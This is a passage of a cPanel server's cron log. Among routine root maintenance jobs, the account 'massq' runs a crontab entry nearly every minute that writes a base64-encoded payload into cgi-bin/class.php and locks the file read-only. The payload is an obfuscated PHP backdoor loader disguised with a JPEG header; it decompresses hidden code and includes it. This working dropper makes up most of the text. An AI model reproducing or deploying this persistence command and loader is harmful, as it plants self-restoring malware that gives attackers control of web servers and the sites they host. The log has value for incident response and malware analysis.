JyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:04:01 server CROND[21408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:05:01 server CROND[21467]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 21:05:01 server CROND[21469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:05:01 server CROND[21470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:05:01 server CROND[21471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:06:01 server CROND[21576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:07:01 server CROND[21727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:08:01 server CROND[21777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:09:01 server CROND[21840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:09:01 server CROND[21841]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 21:10:02 server CROND[21893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:10:02 server CROND[21892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:10:02 server CROND[21894]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 21:10:02 server CROND[21897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:11:01 server CROND[22010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:12:01 server CROND[22060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:12:01 server CROND[22061]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 21:13:01 server CROND[22249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:14:01 server CROND[22306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:15:01 server CROND[22362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:15:01 server CROND[22363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:15:01 server CROND[22364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:16:01 server CROND[22467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
